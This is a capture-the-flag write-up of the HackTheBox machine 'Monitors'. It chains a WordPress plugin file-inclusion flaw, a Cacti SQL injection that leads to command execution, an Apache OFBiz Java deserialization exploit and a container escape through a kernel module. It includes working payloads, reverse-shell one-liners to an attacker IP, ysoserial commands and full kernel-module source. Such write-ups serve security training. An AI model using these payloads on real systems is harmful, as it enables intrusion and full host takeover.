HTB: Monitors Writeup
Monitors - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Monitors |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 10 Apr 2021 |
| IP Address | 10.129.44.113 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Monitors is a hard Linux machine that demonstrates a realistic attack chain involving web application vulnerabilities, service enumeration, Java deserialization, and container escape techniques. The initial foothold is gained through a Local File Inclusion (LFI) vulnerability in a WordPress plugin that leads to credential discovery and access to a Cacti network monitoring instance. From there, a SQL injection vulnerability (CVE-2020-14295) in Cacti 1.2.12 is chained with command injection to achieve remote code execution. User escalation is accomplished through password discovery in service configuration files. The privilege escalation to root involves exploiting a Java XML-RPC deserialization vulnerability (CVE-2020-9496) in Apache OFBiz running inside a Docker container, followed by a container escape via the CAP_SYS_MODULE capability, which allows loading a malicious kernel module to execute code in the host context.
TL;DR: WordPress LFI → Cacti credentials → CVE-2020-14295 SQL injection to RCE → www-data shell → service config password reuse → SSH as marcus → CVE-2020-9496 Java deserialization → root in Docker → CAP_SYS_MODULE kernel module escape → root on host
Reconnaissance
Port Scanning
# Initial port discoverynmap -sC -sV -T4 -p- 10.129.44.113Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.380/tcp open http Apache/2.4.29 (Ubuntu)The scan revealed two open ports:
- SSH (22): OpenSSH 7.6p1 - standard service, likely not the initial vector
- HTTP (80): Apache 2.4.29 - primary attack surface
Service Enumeration
Web Server (Port 80)
Attempting to access the server via direct IP resulted in an error message:
Sorry, direct IP access is not allowed.If you are having issues accessing the site then contact the website administrator:admin@monitors.htbThe error message disclosed the domain monitors.htb. After adding this to /etc/hosts:
# Add virtual host to hosts fileecho "10.129.44.113 monitors.htb" | sudo tee -a /etc/hostsBrowsing to http://monitors.htb revealed a WordPress site. Footer analysis confirmed the WordPress installation.
WordPress Enumeration
# Scan for WordPress plugins and vulnerabilitieswpscan --url http://monitors.htb --enumerate pThe scan identified the wp-with-spritz plugin installed at /wp-content/plugins/wp-with-spritz/.
Vulnerability Assessment
-
WordPress Plugin LFI (wp-with-spritz): The plugin contains a Local File Inclusion vulnerability in
wp.spritz.content.filter.phpvia theurlparameter, allowing arbitrary file read access. -
Cacti 1.2.12 SQL Injection (CVE-2020-14295): The discovered Cacti installation is vulnerable to authenticated SQL injection in the
color.phppage’sfilterparameter. -
Apache OFBiz 17.12.01 Java Deserialization (CVE-2020-9496): The internal OFBiz service is vulnerable to XML-RPC deserialization attacks.
-
Docker CAP_SYS_MODULE Capability: The Docker container running OFBiz has the dangerous
CAP_SYS_MODULEcapability, allowing kernel module loading against the host.
Initial Foothold
WordPress Plugin LFI Exploitation
The wp-with-spritz plugin is vulnerable to Local File Inclusion through the url parameter. This can be exploited to read arbitrary files from the system:
# Test LFI with /etc/passwdcurl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd"The LFI worked, confirming we can read any file the www-data user has access to. The next step was to enumerate Apache configuration files to discover additional virtual hosts:
# Read Apache default configurationcurl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf"This revealed references to multiple virtual host configuration files. Reading the monitors.htb configuration:
# Read monitors.htb Apache configcurl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/monitors.htb.conf"The configuration showed the document root at /var/www/wordpress. WordPress stores database credentials in wp-config.php, so we read that file:
# Extract WordPress database credentialscurl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php"Credentials discovered: wpadmin:BestAdministrator@2020!
These credentials did not work for WordPress admin login, suggesting they might be reused elsewhere.
Cacti Virtual Host Discovery
Reading the Apache virtual host configurations revealed another subdomain:
# Read Cacti admin vhost configcurl "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/cacti-admin.monitors.htb.conf"The configuration disclosed:
- ServerName:
cacti-admin.monitors.htb - DocumentRoot:
/usr/share/cacti
# Add Cacti subdomain to hosts fileecho "10.129.44.113 cacti-admin.monitors.htb" | sudo tee -a /etc/hostsCacti Authentication
Browsing to http://cacti-admin.monitors.htb presented a Cacti login page showing version 1.2.12.
Testing the previously discovered credentials:
- Username:
admin - Password:
BestAdministrator@2020!
Authentication successful! We now had access to the Cacti administrative interface.
CVE-2020-14295: Cacti SQL Injection to RCE
Cacti 1.2.12 is vulnerable to CVE-2020-14295, an authenticated SQL injection vulnerability in the color.php page. The vulnerability exists in the filter parameter when exporting colors. More critically, this SQL injection can be chained with a configuration update to achieve Remote Code Execution.
Attack mechanism:
- The SQL injection allows us to UPDATE the
settingstable - We can modify the
path_php_binarysetting to inject our command - When we trigger
/cacti/host.php?action=reindex, Cacti executes the value inpath_php_binary
First, test command execution with a ping:
# Start tcpdump to capture ICMP packetssudo tcpdump -i tun0 icmpCraft the SQL injection payload to inject a ping command:
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='ping+-c+3+10.10.14.2;'+where+name='path_php_binary';--+- HTTP/1.1Host: cacti-admin.monitors.htbCookie: [session_cookie]Explanation:
filter=1')closes the original SQL queryUNION SELECTretrieves data fromuser_authtable (not necessary but keeps query valid)update settings set value='ping -c 3 10.10.14.2;'injects our command into the PHP binary pathwhere name='path_php_binary'targets the specific setting--+-comments out the rest of the query
After sending this payload, trigger execution:
# Trigger the reindex action to execute our injected commandcurl "http://cacti-admin.monitors.htb/cacti/host.php?action=reindex"The tcpdump listener received three ICMP packets, confirming remote code execution.
Gaining a Shell
With RCE confirmed, we can now get a reverse shell. Set up a listener:
# Start netcat listenernc -lvnp 4444Inject a reverse shell payload:
GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.2+4444+>/tmp/f;'+where+name='path_php_binary';--+- HTTP/1.1Host: cacti-admin.monitors.htbCookie: [session_cookie]Note: Due to caching in Cacti, it may be necessary to log out and log back in with fresh session cookies for the new payload to take effect.
After relogging and sending the payload, trigger execution:
# Trigger reverse shell executioncurl "http://cacti-admin.monitors.htb/cacti/host.php?action=reindex"Shell received as www-data!
# Upgrade to a proper PTYpython3 -c 'import pty; pty.pty.spawn("/bin/bash")'# Press Ctrl+Zstty raw -echo; fgexport TERM=xtermPrivilege Escalation
Privilege Escalation: www-data → marcus
With a shell as www-data, enumeration focused on finding credentials or misconfigurations.
# Enumerate systemd service filesfind /etc/systemd -type f -readable 2>/dev/nullAn interesting service was discovered:
# Read the Cacti backup service configurationcat /etc/systemd/system/cacti-backup.serviceThe service file referenced a script at /home/marcus/.backup/backup.sh:
# Read the backup scriptcat /home/marcus/.backup/backup.shThe script contained hardcoded credentials:
# Backup script excerpt showing passwordconfig_pass="VerticalEdge2020"The password VerticalEdge2020 likely belonged to the user marcus. Testing SSH access:
# SSH as marcusssh marcus@10.129.44.113# Password: VerticalEdge2020SSH login successful!
# Retrieve user flagmarcus@monitors:~$ cat user.txt<redacted>Privilege Escalation: marcus → root
Internal Service Discovery
# Check for services listening on localhostmarcus@monitors:~$ ss -tlnpOutput showed Apache OFBiz listening on 127.0.0.1:8443 - an internal service not accessible externally.
# Forward port 8443 to local machine for analysisssh -L 8443:127.0.0.1:8443 marcus@10.129.44.113Browsing to https://127.0.0.1:8443 locally showed a 404, but directory enumeration revealed /content:
# Directory bruteforceffuf -w /usr/share/wordlists/dirb/common.txt -u https://127.0.0.1:8443/FUZZ -kNavigating to https://127.0.0.1:8443/content revealed Apache OFBiz 17.12.01.
CVE-2020-9496: Apache OFBiz XML-RPC Deserialization
Apache OFBiz 17.12.01 is vulnerable to CVE-2020-9496, a Java deserialization vulnerability in the XML-RPC interface at /webtools/control/xmlrpc.
Vulnerability details:
- The XML-RPC endpoint accepts serialized Java objects in base64 format
- By crafting a malicious payload with ysoserial, we can achieve remote code execution
- The
CommonsBeanutils1gadget chain works for this version
Exploitation steps:
- Generate a payload to download our shell script:
# Create reverse shell scriptcat > bash.sh << 'EOF'#!/bin/bashbash -i >& /dev/tcp/10.10.14.2/4444 0>&1EOF
# Start HTTP server to host the scriptpython3 -m http.server 80- Generate ysoserial payload to download the script:
# Generate payload - download scriptjava -jar ysoserial.jar CommonsBeanutils1 "curl 10.10.14.2/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"Note: For modern Java versions (JDK 17+), you may need additional flags:
# For JDK 17+ compatibilityjava --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens java.base/java.util=ALL-UNNAMED \ -jar ysoserial.jar CommonsBeanutils1 "curl 10.10.14.2/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"- Send the payload via XML-RPC:
POST /webtools/control/xmlrpc HTTP/1.1Host: 127.0.0.1:8443Content-Type: application/xmlContent-Length: [calculated]
<?xml version="1.0"?><methodCall> <methodName>ProjectDiscovery</methodName> <params> <param> <value> <struct> <member> <name>test</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[BASE64_PAYLOAD_HERE] </serializable> </value> </member> </struct> </value> </param> </params></methodCall>The HTTP server confirmed the script was downloaded.
- Generate and send payload to make script executable:
# Generate payload - chmodjava -jar ysoserial.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"# Send via same XML-RPC POST request structure- Generate and send final payload to execute the script:
# Start netcat listenernc -lvnp 4444
# Generate payload - executejava -jar ysoserial.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"# Send via same XML-RPC POST request structureShell received as root inside the Docker container!
# Check environmentroot@monitors:/usr/src/apache-ofbiz-17.12.01# hostname[docker_container_id]
root@monitors:/usr/src/apache-ofbiz-17.12.01# ls -la /.dockerenv-rwxr-xr-x 1 root root 0 [date] /.dockerenvWe have root inside the container, but need to escape to the actual host system.
Docker Escape via CAP_SYS_MODULE
# Check container capabilitiesroot@monitors:/# capsh --printOutput showed the container has CAP_SYS_MODULE capability:
Current: = cap_chown,cap_dac_override,cap_fowner,...,cap_sys_module,...+epCAP_SYS_MODULE allows loading kernel modules. Since containers share the host kernel, we can load a malicious kernel module that will execute in the host context, not the container!
Kernel module exploitation steps:
- Check host kernel version:
# Verify kernel versionroot@monitors:/# uname -r4.15.0-151-generic
# Confirm kernel headers are availableroot@monitors:/# ls /lib/modules/4.15.0-151-generic- Create malicious kernel module source code:
// reverse-shell.c - Malicious kernel module for container escape#include <linux/kmod.h>#include <linux/module.h>
MODULE_LICENSE("GPL");MODULE_AUTHOR("Monitors Exploit");MODULE_DESCRIPTION("LKM reverse shell module");MODULE_VERSION("1.0");
// Command to execute: reverse shell to our listenerchar* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.2/4444 0>&1", NULL};
// Set PATH so the command can find necessary binariesstatic char* envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};
// Module initialization - runs when module is loadedstatic int __init reverse_shell_init(void) { // call_usermodehelper executes a userspace program from kernel context // UMH_WAIT_EXEC makes it wait for exec to complete return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}
// Module cleanup - runs when module is unloadedstatic void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n");}
// Register our init and exit functionsmodule_init(reverse_shell_init);module_exit(reverse_shell_exit);How this works:
- Kernel modules run in kernel space with full privileges
call_usermodehelper()is a kernel function that spawns a userspace process- When we load this module with
insmod, it will execute our reverse shell command - Since the container shares the host kernel, this code runs on the host, not in the container
- Create Makefile to compile the module:
# Makefile for kernel module compilationobj-m += reverse-shell.o
all: make -C /lib/modules/4.15.0-151-generic/build M=$(shell pwd) modules
clean: make -C /lib/modules/4.15.0-151-generic/build M=$(shell pwd) clean- Compile the kernel module:
# Initial compilation attemptroot@monitors:/tmp# makeIf scripts/basic/fixdep is missing, copy it from the kernel headers:
# Find fixdep binaryroot@monitors:/tmp# find /lib/modules -name fixdep 2>/dev/null/lib/modules/4.15.0-151-generic/build/tools/objtool/fixdep
# Create necessary directory structureroot@monitors:/tmp# mkdir -p scripts/basic
# Copy fixdep to expected locationroot@monitors:/tmp# cp /lib/modules/4.15.0-151-generic/build/tools/objtool/fixdep scripts/basic/
# Compile againroot@monitors:/tmp# makeSuccessful compilation produces reverse-shell.ko.
- Load the malicious kernel module:
# On our attack machine, start listener for the HOST shellnc -lvnp 4444
# In the Docker container, load the kernel moduleroot@monitors:/tmp# insmod reverse-shell.koThe insmod command loads the module into the shared kernel, executing our reverse shell code in the host context!
# Listener receives connectionConnection from 10.129.44.113:45678bash: cannot set terminal process group (-1): Inappropriate ioctl for devicebash: no job control in this shell
root@monitors:/# whoamiroot
root@monitors:/# hostnamemonitors
# Verify we're on the host, not in containerroot@monitors:/# ls -la /.dockerenvls: cannot access '/.dockerenv': No such file or directory
root@monitors:/# cat /root/root.txt<redacted>Root shell on the host system achieved!
Attack Chain Summary
Port 80 (WordPress) → LFI in wp-with-spritz plugin → Read Apache configs →Discover cacti-admin.monitors.htb → Read wp-config.php for credentials →Login to Cacti 1.2.12 as admin → CVE-2020-14295 SQL injection →Chain with settings UPDATE for RCE → www-data shell →Enumerate systemd services → Find password in /home/marcus/.backup/backup.sh →SSH as marcus (user.txt) → Discover Apache OFBiz on localhost:8443 →Port forward via SSH → CVE-2020-9496 Java XML-RPC deserialization →Root shell in Docker container → Enumerate capabilities →CAP_SYS_MODULE present → Compile malicious kernel module →insmod to load module → call_usermodehelper executes in host context →Root shell on host (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and LFI exploitation |
wpscan | WordPress enumeration |
tcpdump | ICMP packet capture for RCE verification |
ssh | Remote access and port forwarding |
ysoserial | Java deserialization payload generation |
gcc / make | Kernel module compilation |
capsh | Capability enumeration |
insmod | Kernel module loading |
nc | Reverse shell listener |
Key Learnings
Techniques Practiced
- Local File Inclusion (LFI) to configuration disclosure: Using LFI to read Apache virtual host configurations and discover additional attack surfaces
- Credential reuse across services: Found credentials in WordPress config that worked for Cacti admin
- SQL injection to RCE chaining: Leveraging SQLi to modify application settings and achieve command execution
- Java deserialization attacks: Crafting ysoserial payloads with appropriate gadget chains for specific Java versions
- XML-RPC exploitation: Understanding serialized object injection through XML-RPC interfaces
- Container capability abuse: Exploiting CAP_SYS_MODULE to load kernel modules from within a container
- Kernel module development: Creating and compiling Linux kernel modules for privilege escalation
- Container escape techniques: Using shared kernel functionality to break out of Docker containers
Lessons Learned
-
Always enumerate virtual hosts: The LFI vulnerability became much more valuable once we discovered the hidden Cacti subdomain through Apache configuration files. Direct IP access blocking is a hint that multiple vhosts exist.
-
Read service configuration files during enumeration: The password in
/home/marcus/.backup/backup.shwas easily missed but crucial. Service files in/etc/systemd/often reference scripts with hardcoded credentials. -
Port forwarding for internal services: Services listening on
127.0.0.1are common on hardened systems. SSH port forwarding (ssh -L) allows full interaction with these services as if they were local. -
Java deserialization requires version awareness: Modern Java (JDK 17+) requires specific
--add-opensflags for ysoserial payloads to work. Always check Java version and adjust exploitation accordingly. -
Container capabilities are critical security boundaries: CAP_SYS_MODULE is essentially equivalent to full root on the host since kernel modules execute in kernel space. Containers with this capability are only weakly isolated from the host.
-
call_usermodehelper()bridges kernel and userspace: This kernel function is powerful for privilege escalation because it spawns processes from kernel context, inheriting full privileges regardless of the calling container’s namespace restrictions. -
Shared kernel = shared attack surface: Containers are not VMs - they share the host kernel. Any capability that allows kernel interaction (like loading modules) can be leveraged to escape the container entirely.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew technical context and vulnerability explanations from the official HackTheBox writeup for Monitors (Document No D21.100.135, prepared by TheCyberGeek, 4th October 2021). All commands, outputs, IP addresses, and specific values are from the live machine solve documented above.